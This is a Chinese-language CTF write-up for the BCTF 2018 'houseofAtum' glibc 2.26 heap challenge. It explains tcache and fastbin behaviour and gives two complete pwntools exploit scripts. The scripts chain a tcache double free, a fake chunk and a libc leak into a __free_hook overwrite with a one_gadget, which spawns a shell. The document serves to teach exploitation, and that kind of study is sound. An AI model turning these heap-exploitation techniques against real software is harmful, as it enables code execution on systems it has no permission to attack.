【CTF解题】BCTF2018-houseofatum-Writeup题解
先把ld和Libc給換成題目給的
程序分析
這里只進行一些簡單的分析，其他的博客分析的很詳細了
bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum 1. new 2. edit 3. delete 4. show int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {int v3; // eaxinitialize(argc, argv, envp);while ( 1 ){while ( 1 ){while ( 1 ){v3 = menu();if ( v3 != 2 )break;edit();}if ( v3 > 2 )break;if ( v3 != 1 )goto LABEL_13;alloc();}if ( v3 == 3 ){del();}else{if ( v3 != 4 ) LABEL_13:exit(0);show();}} } int alloc() {int i; // [rsp+Ch] [rbp-4h]for ( i = 0; i <= 1 && notes[i]; ++i );if ( i == 2 )return puts("Too many notes!");printf("Input the content:");notes[i] = malloc(0x48uLL);readn(notes[i], 72LL);return puts("Done!"); }這里ull表示無符號長整形，ll表示長整型，就是8字節。
這里72=0x48,72LL表示用8字節來存儲72。沒有在字符串末尾添加/x00，而且沒有初始化，可能存在泄漏。利用visit或者show函數打印的時候就能泄漏了。
當clear選擇n的時候，不會清空note數組的指針，而edit和show都是通過這個來判斷一個note是否存在。
漏洞利用的參考程序
參考鏈接，https://changochen.github.io/2018-11-26-bctf-2018.html
受上文的啟發，雖然他的圖畫錯了（頭節點不應該指向其fd而應該指向chunk頭）
實驗該參考程序過程發現了一個小現象：
當malloc(0x20)，分配的chunk的size為0x21
當malloc(0x28)，分配的chunk的size為0x21
當malloc(0x29)，分配的chunk的size為0x41
0x20=32字節，是分配一個chunk的最小空間=presize+size+fd+bk=32字節。size后面多1表示上一個chunk的狀態?？梢钥吹疆攎alloc(28)，顯示的size仍然為0x21，肯定是和后一個chunk的presize復用了。
free b后：
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x251Free chunk (tcache) | PREV_INUSE Addr: 0x555555757250 Size: 0x31 fd: 0x555555757260Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757280 Size: 0x31 fd: 0x00Top chunk | PREV_INUSE Addr: 0x5555557572b0 Size: 0x20d51pwndbg> bins tcachebins 0x30 [ 7]: 0x555555757260 ?— 0x555555757260 /* '`ruUUU' */ fastbins 0x20: 0x0 0x30: 0x555555757280 ?— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins emptyfree a之后：
發現 a也進了fast bin里面，而且其fd指向了b的presize字段。這樣我們就可以通過malloc從tcache bin里得到a的fd，從而修改b的presize，甚至presize后面的size等內容【網絡安全學習資料·攻略】
漏洞利用思路
我們的目標是最終執行system(’/bin/sh’),而且是通過堆來完成。在《HITB CTF 2018 gundam》中，我們通過動態獲得libc基地址，進而計算出_free_hook地址和system地址，想方設法在_free_hook地址處寫入system地址，再創建1個內容為’/bin/sh’的chunk，然后釋放，就可以觸發_free_hook，最終執行system(’/bin/sh’)。這道題同樣可以采取這種思路。1.要動態獲得libc基地址，就要用到unsorted bin，在tcache的count為7的情況下，將符合unsorted bin大小的chunk釋放到unsorted bin中。該chunk前向指針fd和后向指針bk的值就是要泄露的地址（詳細分析見上一篇《HITB CTF 2018 gundam分析》）。
2.題目中創建的house of Atum chunk的大小為0x51。顯然，這樣chunk釋放后只能進入tcache bin和fast bin，要想使其進入unsorted bin，就得改變指定chunk的大小。
3.要在_free_hook地址處寫入system地址，就得構建1個以_free_hook地址為數據區地址的chunk，即_free_hook-0x10為起始地址的chunk，以system地址作為內容參數。
以下分析和調試過程基于以上3點考慮，通過對堆塊chunk的靈活操作，成功執行獲得shell。
泄露Chunk的fd地址
連續釋放同一個chunk7次后,此時通過show即可獲得chunk 0的fd的地址，書本中記為heap_addr -------- tcachebin[7] -> chunk 0.fd <- chunk 0.fd fastbin[] ：null --------偽造chunk
動態獲得了heap_addr，即chunk0的next指針，后面該如何利用?
根據前面分析，要獲得libc的基地址，就要改變chunk0的大小為0x91。chunk0的size域位于chunk0頭部16個字節的后半部分中，可以考慮創建1個以chunk0-0x10為起始地址的chunk1，將chunk0的新的size值（0x91）作為chunk1的內容。要從tcachebin中分配chunk1時，前提是chunk1在tcachebin中，有兩種方式可以使chunk1(chunk0-0x10為起始地址）進入tcachebin：一種是構造tcache bin的double free 然后構造chunk0-0x10為起始地址的fake chunk，另一種是將chunk1鏈接到fastbin中某個chunk后面，這樣當chunk被從fastbin中分配時，其后面的chunk1就會被移到tcache中。我們首先分析第一種方法：
因為題目限制只能創建2個chunk，所以構造了faka chunk后，已經創建了2個chunK了，此時這兩個chunk都是指向chunk 0的，無論釋放哪一個，都會導致faka chunk丟失。
如下，兩個已經創建的chunk都是指向0x5616cec43260的，無論釋放哪一個都會導致fake chunk 0x5616cec43250的丟失。
所以本題用了兩次把fastbin中的fake chunk轉移到tcache bin
泄露libc地址
連續釋放chunk0 7次，將會使chunk0進入0x90大小的tcachebin中，再釋放1次，chunk0將會進入unsortedbin。就可以按像gundam那樣泄漏glibc地址，就是先
分析tcache的結構體是位于堆的低地址的最開頭，也是一個chunk。
為什么創建的是0x50大小的Chunk，而不是0x48?
我們看到代碼中是malloc(0x48),0x48是userdata的大小，還需要加上presize和size的大小，也就是0x48+0x10=0x58,然后由于該chunk被使用，所以會占用下一個chunk的presize字段，所以0x58-0x8=0x50。所以每次只用分配0x50大小的chunk.
帶詳細注釋的代碼
from pwn import *io = process('./houseofAtum') libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A') 初始chunk 0,記住這是初始的chunk0空間，后面會反復用到這個空間。new(p64(0)*7 + p64(0x11)) # 為什么分配兩個0x50的chunk? 因為tcache bin和fast# bin都不會清除preuse,所以在后面將0x90大小的fake chunk放入unsorted# bin時會檢查下一個chunk的preuse位置,若為0則會報錯，所以這里一定要在56個字節之后構造一個0x11。delete(1,'y') #構造完就沒用了，可以刪掉了for i in range(6): #構造double free填滿tcache bindelete(0,'n')show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))#輸出自己的user data的地址log.info("heap_addr: 0x%x" % heap_addr)def leak_libc():global libc_basedelete(0,'y') #指向初始chunk0的空間，# 輸出完heap_addr也沒用了，所以要刪掉，會被放進fastbin。# 此時由于最后一個進入fastbin的chunk的fd會被清0，# 所以tcachebin的next指針會被清0。# 此時，# tcache bin[7]:chunk 0.fd -> 0# fasbin:chunk 0.presize -> 0# 為什么在這之后不再直接free一個chunk 0直接修改chunk 0的size呢，# 再free一個chunk 0它會進入fastbin，# 會被fastbin檢測出double free，# 上面的參考程序要修改的chunk是另外的chunk,不能是double free的chunk。# 所以行不通。# 所以要間接的修改size。new(p64(heap_addr-0x20))# 此時得到chunk0指向 初始的chunk0,并且改變了chunk 0的fd ,# 此時，# tcache bin[6]:0# fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,# 這里修改后# 在分配內存的時候不會有任何檢查其頭部？# 分配的時候fastbin會檢查頭部是否符合當前fastbin的大小，# 但是我們這個chunk我們不會當它在fastBin的時候就分配它。# 后面我們會先把它轉移到tcachebin,而轉移到tcache bin的過程貌似不會檢查其Size，# 而在tcache bin的時候再分配它出去，tcache bin不會檢查其頭部大小# 同時，還發現entries指針被清空居然不和counts做檢查！！！new('A') #此時得到chunk1指向 初始的chunk 0,# 由于tcache的entries指針已經被清空，堆塊會從fastbin取出。# 剩下的堆塊會被整理到tcache，# 于是fd指針的地址（chunk0.presize-0x10)會被寫入tcache entries,同時counts加1等于7# 此時，# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin:0,# 這一步就是為了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin# 小發現：把fastbin剩余的chunk放入tcache bin會導致tcache bin的count數量改變。delete(1,'y') # 上面的工作完成后這個Chunk就沒用了，釋放掉，進入fastbin。#此時# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin: chunk0.presizenew(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空間，# 此時拿到了fake chunk，fake chunk的user data指向初始chunk 0 的presize# 此時，# tcache bin 0x50 [6]: 0# fasbin 0x50 : chunk0.presize# 此時初始的chunk 0的size已經被修改了。變成了0x91,即大小為0x90。for i in range(7):delete(0,'n') #指向初始的chunk0的空間# 此時會填滿tcache 為0x90的bin，并且會改寫0x50的fast bin。# 即此時# tcache 0x50 bin[6]: 0# tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd# fasbin 0x50: chunk0.presize->chunk0.fd ,delete(0,'y') #指向初始的chunk0的空間# 此時進入Unsorte bin.# 此時 ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> main_arena+88# fasbin 0x50 : chunk0.presize -> main_arena+88# unsorte bin:chunk0.presize -> main_arena+88edit(1,'A'*0x10)# 此時會修改初始chunk0.presize-0x10的usedata,即會修改chunk0的presize和size字段# 這樣后面打印的話方便找到打印的地址在哪。# 因為chunk0 已經被完全刪掉了，# 或者之前不完成刪掉打印完再刪掉也行，反正現在只剩chunk1了show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78log.info("libc base:0x%x" % libc_base)debug(1)def pwn():one_gadget = libc_base + 0xdd752free_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))# 修改了初始的Chunk0大小為0x50,為什么要改回來？# 因為后面要從fastbin中new一個chunk0了，# fastbin會檢查size釋放應該在此fastbin中。# 修改了初始的chunk0的fd為free_hook-0x10# 此時 ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize -> free_hook-0x10# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88new('A') chunk0 ,因為這里要new 所以前面必須把chunk0 改回0x50大小# 指向初始chun0空間# 這里的作用是把free hook放進tcache bin 0x50# 此時 ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 :# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88delete(0,'y')# 回收chunk0，沒用了。回收進fast bin 0x50# 此時 ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88new(p64(one_gadget)) #chunk0# 取出free hook的空間，然后修改# 此時 ,# tcache 0x50 bin[7]: 0# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ，chunk0.presize 的bk -> main_arena+88io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()可直接運行的代碼
【網絡安全學習資料·攻略】
from pwn import *io = process('./houseofAtum') libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A')# chunk 0#debug(1)new(p64(0)*7 + p64(0x11)) #chunk 1#debug(2)delete(1,'y') #delete chunk 1#debug(3)for i in range(6):delete(0,'n')#debug(4)show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))log.info("heap_addr: 0x%x" % heap_addr)#new(p64(heap_addr-0x10)) #chunk 1 fake chunk#debug(1)#delete(1,'y') # delete chunk 1#debug(2)def leak_libc():global libc_basedelete(0,'y') #fastbin#debug(0)new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk#debug(1)new('A') # fastbin get and fastbin fake chunk put to tcache bin#debug(2)delete(1,'y') # put to fastbinnew(p64(0)+p64(0x91)) #fake sizefor i in range(7):delete(0,'n')#debug(1)delete(0,'y')#debug(2)edit(1,'A'*0x10)#debug(2)show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78log.info("libc base:0x%x" % libc_base)#debug(1) def pwn():one_gadget = libc_base + 0xfcc6efree_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))#debug(1)new('A')#debug(1)delete(0,'y')#debug(2)new(p64(one_gadget))#debug(3)io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()pwn()新發現：不同Libc的unsorte bin在main_arena的偏移不同，Libc2.26是88，Libc2.27是96.
總結
gundam和houseofAtum這兩道題都是利用了LIBC2.26中tcache bin可以double free的特點。
gundam：
由于每次build的chunk大于0x90,所以可以重復釋放8次同一個chunk,然后在unsortebin中泄漏libc地址。然后，直接在tcache中構造double free然后把free_hook作為fake chunk鏈接到tcache bin中，然后修改free hook。
houseofAtum：
由于每次build的chunk只有0x50大小，不能被放入unsorted bin，導致無法泄漏Libc地址。所以首先要考慮修改chunk的大小，要修改chunk的大小，只能通過構造fake chunk來修改。而由于限制只能new 2個chunk,所以不能直接在tcache bin中構造double free來鏈接fake chunk(這點已經在上面分析過了)，所以只能通過把fastbin中的fake chunk移入tcache bin中來構造fake chunk。
構造完fake chunk后就能修改chunk的大小，從而放入Unsorted bin中泄漏libc地址。泄漏完Libc地址后，又要構造fake chunk來修改free_hook,構造方法同上，也是要在fast bin中構建完后移入tcache bin。
one-gadget安裝
sudo apt -y install ruby
sudo gem install one_gadget
需要滿足一些條件，
比如： [rsp+0x30] == NULL
知識點的復習
通過這道題又復習和捋清楚了一些bin的存儲方式：
主線程的Main_arena保存在libc.so的數據的里，其中包括了fastbinsY和bins。
fastbin和Unsortedbin 是后進先出，其他bins是先進先出。
fastbin只用到fd指針，后進來的chunk放在鏈表頭。fd指向上一個進來鏈表的節點。第一個進來的chunk的fd指向的是特殊的“0”，代表前面沒有chunk。
而且fastbin里面的chunk不會進行合并操作，只有當調用malloc_consolidate()的含時候才會取出來與相鄰的freechunk合并，所以fast bin的chunk的下一個chunk的PRV INUSE始終為1，處于使用狀態。
最后
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總結
以上是生活随笔為你收集整理的【CTF解题】BCTF2018-houseofatum-Writeup题解的全部內容，希望文章能夠幫你解決所遇到的問題。
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